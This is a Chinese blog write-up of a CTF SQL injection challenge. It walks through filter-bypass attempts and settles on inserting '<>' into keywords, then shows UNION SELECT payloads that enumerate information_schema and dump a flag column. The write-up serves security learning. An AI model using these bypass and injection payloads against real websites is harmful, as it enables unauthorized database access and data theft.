【SQL注入】CTF练习题WriteUp——“百度杯”CTF比赛 九月场SQL

1 前言

  1. 本节内容主要是记录自己在i春秋上做CTF练习的过程。如果大佬有好的建议请留意评论,供大家学习。
  2. 本节练习题目在i春秋CTF大本营中打开。
    在这里插入图片描述

2 解题步骤

2.1 审题

题干已经明确说了本题是SQL注入,并且flag就在数据库中,显然我们需要注出flag字段。
在这里插入图片描述

2.2 判断注入数据类型及闭合方式

  1. 先测试一下?id=2,看看是否回显不同内容,页面如下,由此可以猜测后台会把select语句从数据库中查询到的内容回显到页面。
    在这里插入图片描述
  2. 再测试一下?id=2-1,看看是否数据类型是数值型,页面如下,与id=1显示一致,由此可以推测出SQL语句可以成功计算出了2-1这个算式,因此注入参数是数值型。
    在这里插入图片描述
  3. 对于数值型的注入参数,没有闭合方式,可以直接在后面构造语句。

2.3 尝试联合查询注入

2.3.1 测试回显列数

  1. 由于上面id=1和id=2可以查询到不同的内容,此处可以尝试使用联合查询注入的方式。
  2. 为判断select语句查询结果有多少字段,先构造参数为?id=1 order by 3进行测试,显示如下,应用判断该参数存在注入代码,我们需要采用一些绕过的方式。
    在这里插入图片描述
  3. 尝试使用大小写混编的方式,构造参数为?id=1 OrDeR By 3进行测试,绕不过。
    在这里插入图片描述
  4. 尝试使用双写的方式,构造参数为?id=1 OrDOrDeReR BByy 3进行测试,合理绕不过,因为从上一句测试中其实应用就把一些关键字判断为恶意代码了,并不是进行过滤,所以双写的方式合理失败。
    在这里插入图片描述
  5. 尝试使用内联注释的方式,构造参数为?id=1 /*order by*/ 3进行测试,失败。
    在这里插入图片描述
  6. 测试将关键字进行一次URL编码,先构造参数为?id=1 %6f%72%64%65%72%20%62%79 3进行测试,黏贴后回车编码内容又变回了order by,绕过失败。
    在这里插入图片描述
  7. 测试将关键字进行二次URL编码,先构造参数为?id=1 %6f%72%64%65%72%20%62%79 3进行测试,显示如下,没有报注入代码,可以继续尝试一下。
    在这里插入图片描述
  8. 测试将关键字进行二次URL编码,修改参数为?id=1 %6f%72%64%65%72%20%62%79 1进行测试,还是显示空白,那就是说明了虽然没有报注入代码的提示,但是order by语句还是执行失败了。
    在这里插入图片描述
  9. 找不到头绪的时候搜了网上的其他笔记,发现可以使用<>来插入到关键字中间。修改参数为?id=1 or<>de<>r b<>y 3进行测试,显示如下,我草,还不行。
    在这里插入图片描述
  10. 继续插,修改参数为?id=1 o<>r<>d<>e<>r b<>y 3进行测试,显示如下,显示正常,说明select语句最好回显3列。
    在这里插入图片描述
  11. 修改参数为?id=1 o<>r<>d<>e<>r b<>y 4进行测试,显示如下,显示异常,结合上一句说明回显内容有且只有3列。
    在这里插入图片描述

2.3.2 测试显示位

  1. 构造参数为?id=-1 union select 1,2,3,显示如下,还是一样需要绕过。
    在这里插入图片描述
  2. 利用<>插入到关键字中,构造参数为?id=-1 u<>n<>i<>o<>n s<>e<>l<>e<>c<>t 1,2,3,显示如下,所有显示位在第二列,后续可以在第二列构造查询语句。
    在这里插入图片描述

2.3.3 爆库

  1. 构造参数为?id=-1 u<>n<>i<>o<>n s<>e<>l<>e<>c<>t 1,database(),3,幸运的是database()函数没有被列为恶意代码,成功爆出当前库名为sqli。
    在这里插入图片描述
  2. 构造参数为?id=-1 u<>n<>i<>o<>n s<>e<>l<>e<>c<>t 1,group_concat(table_name),3 from information_schema.tables where table_schema = database(),成功注出表名为info。
    在这里插入图片描述
  3. 构造参数为?id=-1 u<>n<>i<>o<>n s<>e<>l<>e<>c<>t 1,group_concat(column_name),3 from information_schema.columns where table_name = 'info',成功爆出sqli库下的info表下的字段有,id、title、flAg_T5ZNdrm三项。
    在这里插入图片描述
  4. 构造参数为?id=-1 u<>n<>i<>o<>n s<>e<>l<>e<>c<>t 1,group_concat(flAg_T5ZNdrm),3 from sqli.info,显示如下,成功爆出字段内容,看到flag的内容。
    在这里插入图片描述
  5. 复制提交,通关。

3 总结

  1. 本题关键在于关键字的绕过,需要耐心+细心,一个个尝试。
  2. 同时在练习过程中多记录累积一些绕过的方法,比如这一道题的<>
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值